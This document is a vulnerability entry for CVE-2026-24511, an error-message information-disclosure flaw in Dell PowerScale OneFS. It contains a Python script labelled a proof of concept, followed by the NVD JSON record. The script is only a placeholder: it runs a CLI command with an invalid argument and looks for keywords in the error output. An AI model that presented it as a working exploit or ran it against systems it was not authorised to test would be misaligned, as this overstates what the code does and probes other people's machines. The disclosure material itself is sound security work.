CVE-2026-24511

# Proof of Concept for CVE-2026-24511 # This script demonstrates how a high privileged local user might trigger the error. # Note: Actual exploitation requires specific knowledge of OneFS CLI commands. import subprocess def attempt_exploit(): print("[*] Attempting to trigger sensitive information disclosure...") try: # Simulating a command that might trigger the vulnerability # In a real scenario, this would be a specific OneFS command causing an error result = subprocess.run(['isi', 'status', '--invalid-arg'], capture_output=True, text=True, timeout=5) if result.stderr: print("[+] Error message generated:") print(result.stderr) # Check for sensitive patterns (hypothetical) if "sensitive" in result.stderr.lower() or "path" in result.stderr.lower(): print("[!] Potential sensitive information found in output.") else: print("[-] No error message generated.") except FileNotFoundError: print("[-] 'isi' command not found. This PoC must run on a OneFS system.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": attempt_exploit()

{"cve": {"id": "CVE-2026-24511", "sourceIdentifier": "[email protected]", "published": "2026-04-08T13:16:40.367", "lastModified": "2026-04-13T11:38:48.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerScale OneFS, versions 9.5.0.0 through 9.10.1.6 and versions 9.11.0.0 through 9.13.0.0, contains a generation of error message containing sensitive information vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:powerscale_onefs:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.5.0.0", "versionEndExcluding": "9.10.1.7", "matchCriteriaId": "0FC6B685-F7C8-4A13-8AFE-7C4C1D7D9B10"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:powerscale_onefs:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.11.0.0", "versionEndExcluding": "9.13.0.1", "matchCriteriaId": "1FF0D943-411F-4CC7-8730-966894CD853E"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000449337/dsa-2026-125-security-update-for-dell-powerscale-onefs-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}